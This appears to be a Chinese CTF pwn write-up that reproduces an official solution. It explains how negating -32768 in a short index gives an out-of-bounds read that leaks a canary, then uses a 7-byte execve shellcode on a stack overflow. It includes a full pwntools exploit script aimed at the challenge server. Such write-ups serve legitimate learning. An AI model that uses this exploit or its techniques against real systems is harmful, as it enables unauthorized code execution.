这道题主要是复现官方 wp 中的解法,个人感觉太巧妙了。
反编译关键部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| __int64 v8[125]; __int64 v9;
init_canary(); v9 = canary; …… switch ( v6[0] ) { case 0: printf("way> "); read(0, v8, 0x410uLL); printf("distance> "); for ( i = 0; i <= 200 && dis[i]; ++i ) ; v3 = (_QWORD *)((char *)&str + 1304 * i); *v3 = v8[0]; v3[124] = v8[124]; qmemcpy( (void *)((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL), (const void *)((char *)v8 - ((char *)v3 - ((unsigned __int64)(v3 + 1) & 0xFFFFFFFFFFFFFFF8LL))), 8LL * ((((_DWORD)v3 - (((_DWORD)v3 + 8) & 0xFFFFFFF8) + 1000) & 0xFFFFFFF8) >> 3)); memset(v8, 0, sizeof(v8)); __isoc99_scanf("%lu", &dis[i]); break; case 2: show(); break; case 3: printf("index> "); __isoc99_scanf("%hd", v6); v4 = v6[0]; if ( v6[0] <= 0 ) v4 = -v6[0]; v6[0] = v4; if ( v4 > 200 ) { puts("invalid index"); } else { printf("a new distance> "); __isoc99_scanf("%lu", &dis[v6[0]]); } break;
int show() { __int64 v0; __int16 v2;
printf("index> "); __isoc99_scanf("%hd", &v2); LOWORD(v0) = v2; if ( v2 <= 0 ) LOWORD(v0) = -v2; v2 = v0; LODWORD(v0) = (unsigned __int16)v0; if ( (__int16)v0 <= 199 ) { v0 = dis[v2]; if ( v0 ) LODWORD(v0) = printf(": %lu\n", dis[v2]); } return v0; }:
|
关键思路:程序会读取一个index并将其转成正数,这里全局变量str布置的很特意,利用最小负数取反会等于其自身的行为
也就是输入-32768取反之后32768又会转成-32768(大于32767了)
其实这里就是数组越界了,那我们看看越界能读取到什么:
.bss:0000000000004060 canary .bss:0000000000004080 str .bss:0000000000044060 dis
算一下:
-32768=0x8000
0x8000*8=0x40000
44060-40000=4060
刚刚好可以读取到canary!(这里的canary是手动创建的,从获取canary的函数可以知道应该是一个栈地址)
那么执行show(-32768)就可以将其泄露出来了,动调可以得到栈上其它变量的地址。
case0中read给了个溢出,但是注意case0最后的memset又会把v8清空,程序没开启NX所以考虑用shellcode,那么我们只能把shellcode放在v8和返回地址中间,那么对shellcode长度就有严格要求,官方writeup给的这段shellcode也十分巧妙:
1 2 3 4 5
| push rdx; pop rdi; mov al, 0x3b cdq syscall
|
push rdx;动调可以确定最后的比较会把canary的值放入rdx中,先把canary压入栈,然后放入rdi中,al是rax的低8位,这样写可以减少shellcode的长度,cdq将 eax 的符号位扩展到 edx。这里 eax=0x3b 为正,所以 edx 被清零(system的第三个参数)。这样最终shellcode的长度只有7!
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = remote('forward.vidar.club',30370) p.sendlineafter("choose> ","2") p.sendlineafter("index> ", "-32768") addr = p.recvuntil(b'\nchoose',drop=True)[-15:] print(hex(int(addr))) addr = int(addr)+0x410 log.success(hex(addr))
shellcode = asm(""" push rdx; pop rdi; mov al, 0x3b cdq syscall """ )
payload =b'a'*1002+p64(addr+len(shellcode))+shellcode+b'/bin/sh\x00\x00'+p64(addr) log.success(f"len: {len(shellcode)}")
p.sendline("3") p.sendlineafter("index> ", "-32768") p.sendlineafter("a new distance> ", str(addr+len(shellcode)))
p.sendlineafter("choose> ","0") p.sendafter("way> ", payload) p.sendlineafter("distance> ", "233") p.sendlineafter("choose> ","4") p.interactive()
|